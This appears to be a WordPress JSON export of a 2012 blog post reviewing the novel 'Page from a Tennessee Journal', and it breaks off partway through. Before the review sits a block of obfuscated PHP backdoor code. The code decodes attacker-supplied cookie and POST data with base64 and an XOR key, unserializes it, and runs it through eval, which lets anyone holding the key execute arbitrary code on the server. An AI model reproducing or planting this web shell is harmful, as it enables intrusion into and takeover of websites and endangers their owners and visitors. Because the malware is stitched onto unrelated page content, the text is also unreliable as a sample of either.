$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":1874,"date":"2012-07-06T12:14:23","date_gmt":"2012-07-06T17:14:23","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=1874"},"modified":"2012-07-06T12:14:23","modified_gmt":"2012-07-06T17:14:23","slug":"book-review-page-from-a-tennessee-journal","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=1874","title":{"rendered":"Book Review: Page from a Tennessee Journal"},"content":{"rendered":"

<\/p>I added a new folder to my Kindle a few months ago. I named it \u201cStarted and Hated.\u201d So far I have moved two books in there, too stubborn to delete them, but eager to get them out of my main collection. \u201cPage from a Tennessee Journal<\/a>\u201d almost ended up in that new folder.\n

$\"\"$ <\/a>Something pushed me to continue giving the book a chance though. I finally finished it, satisfied at completing the task, but unfulfilled because I never found the hook that made me appreciate all the time I put in reading.<\/p>\n

\u201cJournal\u201d follows the messy intersection of a white landowner in rural Tennessee in 1913 and the black tenant farmers on his land. Of course, the white man and the black woman end up having an affair which leads to all kinds of trouble. In the mix are his dutiful wife and his mistresses\u2019 absentee husband.<\/p>\n

In the end, I found the book nothing more than an extended writing exercise. I just couldn\u2019t tell what author\u00a0Francine Thomas Howard wanted to work on in this manuscript. She certainly put in her work at providing dialect in direct quotes. She used all her imagination for the sex scenes. And she went through great pains to develop a narrative structure with individual chapters focusing on one character at a time.<\/p>\n

I think that final attribute kept me around to the end. I enjoyed how she gave us a fairly complete look at the story by using four separate third-person points of view. That said, you could see many of the plot developments coming a mile away and had no reaction to the final resolution since it\u2019s what I completely expected.<\/p>\n

There is one final good thing to say about the novel. Howard\u2019s book came out of her participation in the Amazon Breakthrough Novel Award<\/a> competition. She did not win, but progressed far enough to garner support from the publisher\u2019s AmazonEncore series. I submitted to the contest a year or two ago and didn\u2019t get through the initial round so I have to give her credit. This book might work for some people, but it did nothing for me.<\/p>\n<\/body>","protected":false},"excerpt":{"rendered":"